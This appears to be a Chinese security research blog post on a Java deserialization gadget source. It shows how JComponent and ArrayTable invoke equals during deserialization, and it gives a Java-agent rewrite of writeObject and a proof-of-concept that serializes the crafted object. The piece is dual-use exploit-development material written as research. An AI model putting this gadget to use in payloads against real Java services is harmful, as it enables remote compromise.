前言 分享下最近Java GC检测工作的相关收获(其实也是为了证明某些链不是误报而绞尽脑汁,主要依靠Java的动态Agent技术修改writeObject流程
好用的ArrayTable 你是否还在为了想用HashMap触发equals方法而为hashCode所困?那么JComponent这个类就可以帮到你。
我们看一下这个类的readObject方法:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 private void readObject (ObjectInputStream s) throws IOException, ClassNotFoundException { s.defaultReadObject(); ReadObjectCallback cb = readObjectCallbacks.get(s); if (cb == null ) { try { readObjectCallbacks.put(s, cb = new ReadObjectCallback (s)); } catch (Exception e) { throw new IOException (e.toString()); } } cb.registerComponent(this ); int cpCount = s.readInt(); if (cpCount > 0 ) { clientProperties = new ArrayTable (); for (int counter = 0 ; counter < cpCount; counter++) { clientProperties.put(s.readObject(), s.readObject()); } } if (getToolTipText() != null ) { ToolTipManager.sharedInstance().registerComponent(this ); } setWriteObjCounter(this , (byte )0 ); }
其也是循环的读取键值对,然后调用放入到ArrayTable中,我们看看ArrayTable的put方法:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 public void put (Object key, Object value) { if (table==null ) { table = new Object [] {key, value}; } else { int size = size(); if (size < ARRAY_BOUNDARY) { if (containsKey(key)) { Object[] tmp = (Object[])table; for (int i = 0 ; i<tmp.length-1 ; i+=2 ) { if (tmp[i].equals(key)) { tmp[i+1 ]=value; break ; } } } else { Object[] array = (Object[])table; int i = array.length; Object[] tmp = new Object [i+2 ]; System.arraycopy(array, 0 , tmp, 0 , i); tmp[i] = key; tmp[i+1 ] = value; table = tmp; } } else { if ((size==ARRAY_BOUNDARY) && isArray()) { grow(); } ((Hashtable<Object,Object>)table).put(key, value); } } }
如果containsKey的话则会触发equals比较,那我们先看看containsKey怎么做的:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 public boolean containsKey (Object key) { boolean contains = false ; if (table !=null ) { if (isArray()) { Object[] array = (Object[])table; for (int i = 0 ; i<array.length-1 ; i+=2 ) { if (array[i].equals(key)) { contains = true ; break ; } } } else { contains = ((Hashtable)table).containsKey(key); } } return contains; }
emm,直接就是key的比较,OK,大功告成(不是
其实如果你这么构造一下POC的话,你就会发现在writeObject提前触发了equals方法,所以导致最后无法利用
1 2 3 4 5 6 7 8 9 10 11 private void writeObject (ObjectOutputStream s) throws IOException { s.defaultWriteObject(); if (getUIClassID().equals(uiClassID)) { byte count = JComponent.getWriteObjCounter(this ); JComponent.setWriteObjCounter(this , --count); if (count == 0 && ui != null ) { ui.installUI(this ); } } ArrayTable.writeArrayTable(s, clientProperties); }
主要在writeArrayTable方法中:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 static void writeArrayTable (ObjectOutputStream s, ArrayTable table) throws IOException { Object keys[]; if (table == null || (keys = table.getKeys(null )) == null ) { s.writeInt(0 ); } else { int validCount = 0 ; for (int counter = 0 ; counter < keys.length; counter++) { Object key = keys[counter]; if ( (key instanceof Serializable && table.get(key) instanceof Serializable) || (key instanceof ClientPropertyKey && ((ClientPropertyKey)key).getReportValueNotSerializable())) { validCount++; } else { keys[counter] = null ; } } s.writeInt(validCount); if (validCount > 0 ) { for (Object key : keys) { if (key != null ) { s.writeObject(key); s.writeObject(table.get(key)); if (--validCount == 0 ) { break ; } } } } } }
可以看到是按pair写入的,主要问题在于table.get方法:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 public Object get (Object key) { Object value = null ; if (table !=null ) { if (isArray()) { Object[] array = (Object[])table; for (int i = 0 ; i<array.length-1 ; i+=2 ) { if (array[i].equals(key)) { value = array[i+1 ]; break ; } } } else { value = ((Hashtable)table).get(key); } } return value; }
这里触发了key的equals方法,所以有什么办法吗,我们看这个ArrayTable类的table属性其实可以为Object数组,那我们直接模仿逻辑挨个写入也可以把,因此我就用到了Java动态Agent技术修改其writeObject流程,具体代码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 public byte [] transform(final ClassLoader loader, final String className, final Class<?> classBeingRedefined, final ProtectionDomain protectionDomain, final byte [] classfileBuffer) { if (className.equals("javax/swing/JComponent" )) { try { ClassPool classPool = ClassPool.getDefault(); CtClass jClazz = classPool.get("javax.swing.JComponent" ); CtMethod w = jClazz.getMethod("writeObject" , "(Ljava/io/ObjectOutputStream;)V" ); String methodBody = "{" + "$1.defaultWriteObject();" + "$1.writeInt(2);" + "try {" + "Class clz = $0.clientProperties.getClass();" + "java.lang.reflect.Field field = clz.getDeclaredField(\"table\");" + "field.setAccessible(true);" + "Object[] table = (Object[]) field.get($0.clientProperties);" + "for (int i = 0; i < 4; i++) {" + "$1.writeObject(table[i]);" + "}" + "}" + "catch (Exception ex) {}" + "}" ; w.setBody(methodBody); byte [] byteCode = jClazz.toBytecode(); jClazz.detach(); return byteCode; } catch (Exception ex) { ex.printStackTrace(); } } return null ; }
因此最后的Source Gadget就可以这么写(运行时加上javaagent注入选项
1 2 3 4 5 6 7 8 JPanel j = new JPanel ();Class atClass = Class.forName("javax.swing.ArrayTable" );Object arrayTable = ReflectionUtil.createWithoutConstructor(atClass);Object[] table = new Object []{o1, "1" , o2, "2" }; ReflectionUtil.setField(arrayTable, "table" , table); ReflectionUtil.setField(j, "clientProperties" , arrayTable); SerializeUtil.deserialize(SerializeUtil.serialize(j));
结尾 类似的还有比如AbstractAction,actionMap等,其都是用到了ArrayTable类,这里就不具体分析了,当然还有一些能触发动态代理的入口,不过一般也没什么用(除非存在invoke
到sink的流程),这里也就不写了,期待大家也可以发现更多